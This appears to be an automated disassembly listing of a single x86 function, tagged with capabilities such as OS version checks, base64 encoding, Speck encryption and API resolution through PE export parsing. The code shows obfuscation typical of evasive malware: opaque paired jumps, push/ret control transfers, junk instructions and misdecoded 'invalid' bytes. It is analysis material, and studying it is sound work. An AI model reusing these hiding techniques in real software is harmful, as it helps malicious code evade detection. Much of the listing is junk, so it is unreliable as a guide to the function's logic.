Function at 0x431edb
Capabilities:
Check os version
Encode data using base64
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
xchg esp, eax
rcl dword [edi + 0x5f], 0x96
xchg esi, eax
mov eax, dword [esi + 4]
mov ebx, dword [esi + 8]
ja 0x41f500
jbe 0x405fd1
jb 0x406e95
fst dword [ecx + edx*4 + 0x7c94870f]
add al, byte [eax]
ja 0x42eb2f
jbe 0x406ea1
nop
cpuid
ret 0x860f
jbe 0x42eb2f
xor eax, 0x6338e897
add eax, dword [eax]
call int.0043d1e6
lea ecx, [ebp - 0x10c]
push ecx
call fcn.0041fde7
add esp, 0x14
add bp, 0
test eax, eax
jb 0x4053e6
shl ax, 0x20
je 0x41a977
mov cx, cx
jne 0x406ede
dec dword [ebx - 0x10b6a73]
invalid
lea edx, [ebp - 0x10c]
jno 0x420a6e
jo 0x406ef1
test byte [edi + 0xf89352f], 0x80
ja 0x406e90
jo 0x420a6e
add dword [eax], eax
add eax, 0x12840ff5
add byte [eax], al
add byte [esi + 0x75da86d3], al
push es
push 0x440ddd
ret
jmp 0x41922d
push esi
xchg ecx, eax
xchg ecx, eax
lea eax, [ebp - 4]
push edi
lea ebx, [ebx]
lea ecx, [ebp - 0x214]
push eax
push ecx
push edx
call fcn.0040b761
xchg dl, cl
xchg cl, dl
mov esi, eax
add esp, 0xc
test esi, esi
jb 0x42b338
je 0x428562
jne 0x419268
cpuid
fadd st(3), st(0)
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 8]
push esi
call fcn.0041fde7
add esp, 4
cmp eax, 4
jbe 0x43844c
mov ch, ch
ja 0x41928d
xchg esi, eax
in eax, 0x68
in eax, dx
bound eax, qword [edi]
push str..alf
push esi
mov al, al
call fcn.0041fde7
add esp, 4
lea eax, [eax + esi - 4]
push eax
xchg si, ax
xchg si, ax
call fcn.004247db
sub di, 0
add esp, 8
test eax, eax
jb 0x42b342
mov si, si
jne 0x43844c
je 0x4192d4
sub esp, ecx
aad 0xb6
dec edx
pop edx
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0041fde7
mov bx, bx
mov edx, dword [ebp + 0xc]
inc eax
jmp 0x4192e5
push eax
lea eax, [ebp - 0x10c]
push edx
jmp 0x4192f0
push eax
jne 0x406ea9
je 0x4192ff
cmp byte [edi - 0x7bf0ce5d], ah
movsb byte es:[edi], byte [esi]
invalid
je 0x406ea9
sbb byte [ebp - 0x73], 0x64
and al, 4
mov bh, bh
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [eax]
mov al, byte [ebp + 0xc]
push ebx
test edi, 0x6f5194a
jmp 0x42b513
lea edx, [ebp - 0x10c]
jmp 0x41a97e
push esi
push edx
call fcn.0043e3cc
jne 0x43841e
je 0x41a990
out dx, al
lodsd eax, dword [esi]
je 0x43841e
fsubr dword [ecx]
push edx
mov dx, dx
ret
mov si, si
lea eax, [ebp - 4]
jmp 0x428553
push eax
call fcn.00445c87
add esp, 4
mov ebp, ebp
push 0x40fc0c
ret
mov ecx, ecx
mov ch, ch
call fcn.0042cb48
mov eax, eax
xchg ebp, ecx
mov cx, cx
xchg ecx, ebp
xchg bp, si
xchg si, bp
mov al, byte [ebp + 0xb]
shr bl, 0x40
shr bp, 0x40
jmp 0x4294f4
push esi
jne 0x412fcd
shr bp, 0x40
lea ebp, [ebp]
je 0x429508
sbb ebp, edx
jmp 0x9b02191b
je 0x412fcd
fiadd dword [edi]
mov esi, dword [esi + 4]
jmp dword [esi]
mov ah, 0xb5
js 0x4053d3
jns 0x42b345
push esi
fldlg2
jns 0x4053d3
call fcn.004151d1
sub cl, 0x22
das
inc ecx
add ah, bl
sbb byte [edx], al
shl cx, 0x20
jne 0x444733
mov bl, bl
mov esi, esi
mov cx, cx
je 0x42b539
cpuid
iretd
clc
ja 0x431db4
jbe 0x42b545
in eax, dx
push ebx
cmpsb byte [esi], byte es:[edi]
jbe 0x431db4
xor al, 0xc2
mov esi, esi
mov cx, cx
xchg al, ah
xchg ah, al
mov word [esi + 0xbc], dx
jne 0x4294d1
je 0x42b567
fsub st(2), st(0)
je 0x4294d1
and eax, 0x2c870f55
cmp eax, 0xc9880000
mov edx, dword [edi]
push 0xa
shl esi, 0x20
out 0x20, al
mov word [eax + 0x28], dx
mov ebx, dword [ebp + 0x10]
mov word [eax + 0x2a], cx
jno 0x441c32
jo 0x42fc40
fimul word [ebx + 0x1e]
jo 0x441c32
invalid
xor eax, eax
jb 0x445395
mov dh, dh
mov dx, dx
mov bp, bp
call fcn.00425adb
fcomp dword [ecx + 0xec181]
add byte [eax], al
push ebp
mov edi, edi
mov ebp, esp
add bp, 0x44e2
sub bp, 0x44e2
sub esp, 0x214
mov edx, dword [ebp + 0xc]
jmp 0x431ec4
push ebx
ja 0x41922c
jbe 0x431ed3
cmp ch, byte [edx + 0xf934ac2]
xchg byte [ebx + 0x73], dl
invalid
jbe 0x41922c
add byte [ecx], 0x8f
inc esp
and al, 0xfc
inc cl
mov dl, cl
lea ebx, [ebx]
shr dl, 7
shl cl, 1
or dl, cl
jb 0x42d82d
mov cl, dl
shr cl, 7
shl dl, 1
or cl, dl
jb 0x42d836
mov byte [esi + 3], cl
lea esi, [esi]
mov dx, word [eax + 0x28]
xor word [eax + 0x2c], dx
jb 0x4327de
mov cx, word [eax + 0x2a]
mov dx, word [eax + 0x20]
xor word [eax + 0x2e], cx
jb 0x405fbb
mov cx, word [eax + 0x22]
js 0x42fc2a
jns 0x431f37
mov dl, 0x65
xchg dword [ebx - 0x1276f020], ecx
fdiv st(7), st(0)
inc edi
outsd dx, dword [esi]
jns 0x42fc2a
invalid
lea eax, [ebp - 0x10c]
xchg edx, ebp
xchg ebp, edx
push edi
push eax
push ebx
call int.00445ca4
add esp, 0x14
test eax, eax
jb 0x431a56
jne 0x438480
je 0x43844c
nop
cpuid
ret
lea ecx, [ebp - 4]
mov esi, esi
lea edx, [ebp - 0x214]
push ecx
push edx
call fcn.004304ca
mov esi, eax
add esp, 8
test esi, esi
jb 0x431a5e
je 0x42854c
jne 0x438479
mov eax, dword [0xf0e9d7a0]
or eax, 0x8418fffe
jmp 0x41926e
lea eax, [ebp - 0x10c]
jmp 0x438487
push eax
call fcn.0041fde7
mov esi, dword [ebp + 0x10]
shr esi, 0x40
inc eax
mov ax, ax
lea ecx, [ebp - 0x10c]
push eax
push ecx
push esi
call int.0043d1e6
lea edx, [ebp - 4]
push edx
call fcn.00445c87
test bh, 0x88
test esi, 0x438488ba
add esp, 0x14
mov eax, esi
pop edi
mov bh, bh
pop esi
xchg cl, dh
xchg dh, cl
pop ebx
mov esp, ebp
shr ecx, 0x40
pop ebp
jno 0x428549
jo 0x4384dc
mov edx, 0xf18e0ac
and byte [edi], 0xff
inc edi
sub ebx, 0xffffffff
not byte [edx + 0x40d8e892]
jo 0x428549
mov dword [ebx - 0x6d090015], 0x40d8e892
std
invalid
mov ecx, dword [ebp + 0xc]
add ebx, 4
cmp bx, bx
add edi, 4
dec ecx
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], edi
mov dword [ebp + 0xc], ecx
jne 0x4308a2
invalid
je 0x441c5c
fldenv [ecx - 0x1d]
dec ebx
je 0x441c52
mov ecx, dword [ebp + 8]
mov dx, word [eax + 0x2c]
mov word [ecx], dx
push 0x4228db
ret
jmp 0x413783
shl dword [ebp - 0x75], 0x76
add al, 0x8b
jmp dword ss:[esi]